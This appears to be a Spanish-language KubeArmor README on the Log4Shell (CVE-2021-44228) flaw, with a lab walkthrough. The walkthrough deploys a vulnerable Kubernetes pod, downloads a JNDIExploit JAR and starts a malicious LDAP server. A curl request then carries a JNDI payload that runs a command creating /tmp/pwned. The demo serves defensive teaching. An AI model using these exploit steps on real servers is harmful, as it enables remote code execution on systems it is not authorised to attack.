kubearmor/log4j-cve-2021-44228Vulnerabilidad de Día Cero en Apache Log4j, también conocida como Log4Shell y CVE-2021-44228
El 9 de diciembre de 2021, el mundo fue informado de una nueva vulnerabilidad identificada como CVE-2021-44228, que afecta al paquete de registro Java Apache log4j. Esta vulnerabilidad obtuvo una puntuación de gravedad de 10.0 (la designación más crítica) y ofrece una ejecución remota de código trivial en hosts que interactúan con software que utiliza esta versión de log4j. “Log4Shell" es el nombre dado a este ataque.
Hoy, la versión 2.15.0rc2 de log4j está disponible y parchea esta vulnerabilidad. Sin embargo, el peligro absoluto de esta vulnerabilidad se debe a lo omnipresente que es el paquete de registro. Millones de aplicaciones, así como proveedores de software, utilizan este paquete como dependencia en su propio código.
Detección más temprana conocida: 2021-12-01 04:36:50 UTC
Versiones afectadas:
¿Quién está afectado?
Impacto: Ejecución de código arbitrario como el usuario bajo el cual se ejecuta el proceso padre (código obtenido de Internet pública, o lolbins ya presentes en el sistema, o simplemente obteniendo secretos compartidos o variables de entorno y devolviéndolos al atacante).
Objetivos: Servidores y clientes que ejecutan Java y además registran cualquier cosa usando el framework log4j - principalmente una preocupación del lado del servidor, pero cualquier endpoint vulnerable podría ser un objetivo o un punto de pivote.
Proyectos derivados: Hasta que se demuestre lo contrario, asuma que cualquier cosa que incluya log4j - incluyendo Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. - está afectado de una manera que requiere mitigación.
Versiones afectadas: log4j 2.x confirmado - log4j 1.x solo indirectamente (vulnerabilidades previas de divulgación de información) (en algunas configuraciones)
Dispositivos: No olvide los dispositivos que pueden estar usando componentes de servidor Java, pero que no serán detectados por escaneo de vulnerabilidades no autenticado
Reenvío de registros: La infraestructura de registro a menudo tiene muchas topologías de reenvío/retransmisión "hacia el norte" (enviar mis registros a alguien) y "hacia el sur" (recibir registros de alguien). También se debe considerar la posibilidad de encadenarlos para su explotación.
Nube: Múltiples grandes proveedores también afectados (Una lista curada por la comunidad de software y servicios vulnerables a CVE-2021-44228 se puede encontrar en este repositorio de GitHub.
Paso #1: Desplegando pod con servicios asociados vulnerables a Log4j en Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Tenga en cuenta que hemos desplegado la aplicación de muestra Log4Shell vulnerable en el namespace
default
Paso #2: Descargando el servidor LDAP malicioso
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Paso #3: Iniciando el servidor LDAP para tráfico entrante en su PC o VM en la nube
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
La IP privada se puede consultar usando
hostname -I.
Asegúrese de que su cortafuegos permita tráfico para los puertos1389y8888
Paso #4: Explotando usando el comando cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Aquí, la primera IP usada es nuestra IP externa de k8s (Paso #1) donde se ejecuta la aplicación de muestra vulnerable.
La segunda IP usada es la IP externa del servidor LDAP malicioso (Paso #2)
Paso #5: Confirmación mediante la verificación de la creación del archivo /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Reemplace
log4j-demo-5d7c84d8b9-vs8ckcon su pod de la salida del Paso #1.
Debería poder ver un archivo creado comopwneddentro del directorio/tmp.
KubeArmor es una plataforma de seguridad en tiempo de ejecución que puede ayudar a los equipos de Seguridad/DevSecOps a proteger sus cargas de trabajo mediante controles basados en aplicaciones/sistemas (como limitar la creación de procesos, limitar el acceso al sistema de archivos, limitar las capacidades de los pods, etc.). KubeArmor tiene un modo de visibilidad que permite al equipo de aplicación/seguridad habilitar la visibilidad, descubriendo así lo que está sucediendo dentro de los pods, es decir, qué procesos se crean, qué accesos a archivos se intentan, etc. La mayor ventaja de KubeArmor es que, como usuario, también puede enviar políticas que puedan prevenir/bloquear/denegar dichas operaciones del sistema.